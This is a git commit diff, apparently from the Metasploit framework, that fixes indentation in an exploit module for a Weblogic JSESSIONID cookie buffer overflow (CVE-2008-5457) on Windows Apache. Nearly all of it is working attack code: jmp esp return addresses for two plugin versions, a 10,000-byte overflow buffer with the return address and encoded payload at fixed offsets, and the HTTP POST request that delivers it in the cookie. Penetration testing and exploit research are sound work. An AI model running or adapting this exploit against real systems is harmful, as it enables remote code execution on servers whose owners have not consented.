Fix tabstops for weblogic module
git-svn-id: file:///home/svn/framework3/trunk@6405 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
a5125c6c87
commit
86bc12940a
|
@ -16,18 +16,18 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
super(update_info(info,
|
||||
'Name' => 'BEA Weblogic JSESSIONID cookie value overflow',
|
||||
'Description' => %q{
|
||||
0day in the JSESSION cookie value when clustering is configured.
|
||||
},
|
||||
This module exploits a 0day in the JSESSION cookie value when clustering is configured.
|
||||
},
|
||||
'Author' => 'pusscat',
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2008-5457' ],
|
||||
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'seh',
|
||||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'seh',
|
||||
},
|
||||
'Privileged' => true,
|
||||
'Platform' => 'win',
|
||||
'Payload' =>
|
||||
|
@ -38,39 +38,37 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Windows Apache 2.2 - weblogic module version 1.0.1136334',
|
||||
{
|
||||
'Ret' => 0x1006c9b5, # jmp esp
|
||||
}
|
||||
],
|
||||
[ 'Windows Apache 2.2 - weblogic module version 1.0.1150354',
|
||||
{
|
||||
'Ret' => 0x1006c9be, # jmp esp
|
||||
}
|
||||
],
|
||||
|
||||
|
||||
[
|
||||
[ 'Windows Apache 2.2 - weblogic module version 1.0.1136334',
|
||||
{
|
||||
'Ret' => 0x1006c9b5, # jmp esp
|
||||
}
|
||||
],
|
||||
[ 'Windows Apache 2.2 - weblogic module version 1.0.1150354',
|
||||
{
|
||||
'Ret' => 0x1006c9be, # jmp esp
|
||||
}
|
||||
],
|
||||
],
|
||||
'DefaultTarget' => 1))
|
||||
register_options( [ Opt::RPORT(80) ], self.class )
|
||||
register_options( [ Opt::RPORT(80) ], self.class )
|
||||
end
|
||||
|
||||
def exploit
|
||||
sploit = Rex::Text.rand_text_alphanumeric(10000, payload_badchars)
|
||||
sploit[8181, 4] = [target.ret].pack('V')
|
||||
sploit[8185, payload.encoded.length] = payload.encoded
|
||||
|
||||
request =
|
||||
"POST /index.jsp HTTP/1.1\r\nHost: localhost\r\nCookie: TAGLINE=IAMMCLOVIN; JSESSIONID=" +
|
||||
sploit +
|
||||
"\r\n\r\n"
|
||||
sploit = Rex::Text.rand_text_alphanumeric(10000, payload_badchars)
|
||||
sploit[8181, 4] = [target.ret].pack('V')
|
||||
sploit[8185, payload.encoded.length] = payload.encoded
|
||||
|
||||
connect
|
||||
sock.put(request);
|
||||
handler
|
||||
request =
|
||||
"POST /index.jsp HTTP/1.1\r\nHost: localhost\r\nCookie: TAGLINE=IAMMCLOVIN; JSESSIONID=" +
|
||||
sploit +
|
||||
"\r\n\r\n"
|
||||
|
||||
disconnect
|
||||
connect
|
||||
sock.put(request);
|
||||
handler
|
||||
|
||||
disconnect
|
||||
end
|
||||
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue